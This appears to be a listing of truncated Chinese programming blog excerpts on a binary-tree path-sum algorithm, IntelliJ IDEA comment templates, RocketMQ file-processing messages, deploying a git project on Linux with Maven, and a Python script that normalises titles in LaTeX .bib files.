os.path.join(BASE_DIR, FILE_NAME) if os.path.exists(db_file_path): wb = load_workbook(db_file_path) sheet = wb.worksheets[0] next_row_position = sheet.max_row + 1 else: wb = workbook.

程序员面试金典 4.12 求和路径

题目描述 给定一棵二叉树,其中每个节点都含有一个整数数值(该值或正或负)。设计一个算法,打印节点数值总和等于某个给定值的所有路径的数量。注意,路径不一定非得从二叉树的根节点或叶节点开始或结束,但是其方向必须向下(只能从父节点指向子节点方向)。 示例: 给定如下二叉树,以及目标和 sum = 22, 5 / \ 4 8 / / \ 11 13 4 / \ / \ 7 2 5 1 返回: 3 解释:和为 22 的路径有:[5,4,11,2], [5,8,4,5], [4,11,7] 提示: 节点总数 <= 10000 分析 典型的树形DP问题。 思路一:DFS 二叉树类问题中往往需要分析两个规模减半的子问题的解要如何合并为原问题的解。也就是说,假设我们知道root左右子树的解,如何推出以root为根的树的解。本题要求和为特定值的向下的路径有多少条。那么根据这条路径包不包括根节点可以将其划分为两种状态:向下的路径包括根节点、向下的路径不包括根节点。 可以用f[root][0]表示不包括根节点向下的路径中和为sum的路径条数,用f[root][1]表示包括根节点向下的路径中和为sum的路径条数。则f[root][0] = f[left][0] + f[left][1] + f[right][0] + f[right][1],也就是说如果这条路径不包括root节点,那么这条路径可以在root的左右子树上寻找,可以包括也可以不包括root的左右节点,所以一共是四种状态的集合。f[root][1] = f[left][1] + f[right][1],这里要注意的是,因为路径是连续的,所以路径包括根节点,要么路径到根节点为止,要想继续往下延伸,则其左右孩子必须也包含在路径中,一旦其孩子节点不在路径中,就代表着路径终止。 由于本题是采用结构体来存储树的,直接用状态数组表示状态可能不太方便,所以可以直接用dfs来进行状态转移。在遍历到以root为根的子树时,我们首先需要判断,是否root的val等于剩下的路径和sum,如果是,则可以增加合法路径的条数。 然后就是判断当前遍历到的root节点能否加入到路径里来了,如果root的父节点在路径里,那么root一定要加入路径,因为路径末尾元素是root的父节点的情况在遍历root的父节点时候已经考虑过了,如果路径的末元素不是root的父元素,那么root一定要加入路径,否则路径不一定连续,比如选择了root的父节点,不选root节点,后续遍历又选择了root的孩子节点,路径就不连续了。 如果root的父节点不在路径里,那么root节点加入或者不加入路径就都是可以的,就算不加入路径,也不会造成路径不连续的情况。 通过上面的分析,可以得出dfs的参数应该有当前遍历到的节点root,路径中还需要加入多少才能达到要求的路径和的剩余路径和sum,以及root的父节点是否已经加入路径这三个参数。初始情况由于root是没有父节点的,所以可以视为其父节点没有加入路径开始遍历。 dfs的代码如下: /** * Definition for a binary tree node. * struct TreeNode { * int val; * TreeNode *left; * TreeNode *right; * TreeNode(int x) : val(x), left(NULL), right(NULL) {} * }; */ class Solution { public: int ans = 0; void dfs(TreeNode* root, int sum, int st) { if(!

idea注释模版配置

目录 1、为新建的类添加注释模版 1.1 方法 1.2 效果 2、为已存在的类和方法添加注释模版 2.1 方法 2.2 效果 1、为新建的类添加注释模版 1.1 方法 在设置页面进行如下选择,并将配置模版内容写进去( Class、Interface、Enum 都可以这样设置) 模版配置信息如下: /** * @author ${USER} * @description: ${NAME} * @date ${DATE} ${TIME} * @version 1.0 */ 1.2 效果 2、为已存在的类和方法添加注释模版 2.1 方法 idea设置位置如下图: 1、选择上图位置2,表示通过按下“Enter”键触发模版 2、点击上图3位置“+”选择“Template Group”创建一个模版组,组名随便起 3、选中刚才新建的模版组,点击上图3位置“Live Template”进行新建模版 4、点击上图5位置,填写触发字符(这里设置的"*"触发方法注释模版,"**"触发类注释模版) 5、将以下模版内容复制进去图6位置 类注释模版: ** * @author $user$ * @description: * @version 1.0 * @date $date$ $time$ */ 方法注释模版: ** * @author $USER$ * @description: * @date: $date$ $time$@ * @param: $params$ * return: $returns$ */ 7、点击上图7位置,配置idea注释参数的解析方式

RocketMQ发送接收项目实战+对cos或者oss服务上的pdf文件和图片加水印

使用mq的原因:因为项目中文件上传比较多,需要使用mq分担当前系统线程压力,所以单独使用一个服务来处理文件上传,加快文件上传速度的同时也缓解了当前服务的处理压力 核心服务1【一个项目】 发送mq: GeneralFileEvent【需要发送给mq处理的参数,自己业务里需要的,封装了一个类,看你们自己需要】 @Data public class GeneralFileEvent {//发送mq的参数 private ContentsAnnexReq file;//附件文件 private String companyName; //公司名 private Long orgUserId;//关联文件id /** * 发布对象类型 * 1.按照部门批量发布 * 2.按照公司发布 * 3.按照人员发布 */ private Integer levelType; } RocketTopicConstant【mq目的的名字】 public class RocketTopicConstant { public static final String GENERAL_ADD_PAUSE = "hhr_general_over_dev"; public static final String GENERAL_UPDATE_PAUSE = "hhr_general_update_over_dev"; } 业务核心代码 //发送mq处理文件上传代参数 GeneralFileEvent fileEvent = new GeneralFileEvent(); fileEvent.setFile(file); fileEvent.setCompanyName(company.getName()); fileEvent.setOrgUserId(orgUser.getId()); fileEvent.setLevelType(req.getLevelType()); Message<GeneralFileEvent> destroyMessage = MessageBuilder.withPayload(fileEvent).build(); rocketMQTemplate.syncSend(RocketTopicConstant.GENERAL_UPDATE_PAUSE, destroyMessage); 配置文件:配置mq

获取git仓库代码并部署在linux上

前言:我们项目一般部署服务都是通过自动化来进行部署的——jenkins 因为Jenkins部署非常方便简单,但是我们有时会有做一个新的微服务,这时候我们有时需要去更新或者部署这个微服务,就会用Jenkins来部署 也可以通过linux指令来部署 1、首先先拉去git仓库的代码,需要有存放源码的位置 创建一个目录文件,在该文件下执行,我这里创建的是source git clone http:// http后面的路径是git仓库的地址 2、更新代码 git pull git pull 注意:第一次操作可以不执行 3、下来就可以部署了,这里需要用到Maven指令,没有的话可以安装一下:yum -y install maven mvn install 这个命令的意思是打包后将其安装在本地仓库 4、切换分支 git checkout 分支名字

将latex bib file中所有引文的title大写

有时候引文里面有些title是需要大写的,但是因为latex在引用的时候,除了首字母之外,如果大写字母外面没有{}的话,大写是不生效的。 再加上有很多journal是有doi或者url的,就会导致引文比较难看。 为了处理上面两个问题,笔者写了一段简单的脚本,能够将bib file规整化。 ''' capitalize the title in your .bib file remove all url and doi ''' import argparse from multiprocessing.connection import wait parser = argparse.ArgumentParser() parser.add_argument('-I','--input',type=str,default="./anthology.bib") parser.add_argument('-O','--output',type=str,default="./anthology_cap.bib") parser.add_argument('-V','--verbose',action="store_true") args = parser.parse_args() no_cap = ["with","of","for","to","from","and","on","in","under","a","by","the"] # preposition # dele = ['url', 'doi', 'publisher', 'organization'] cus_remain = ['title','author', 'booktitle', 'journal', 'year', 'pages', 'volume', 'number'] # reserved attributes, can be customized fix = ['@'] remain = cus_remain + fix new_bib = "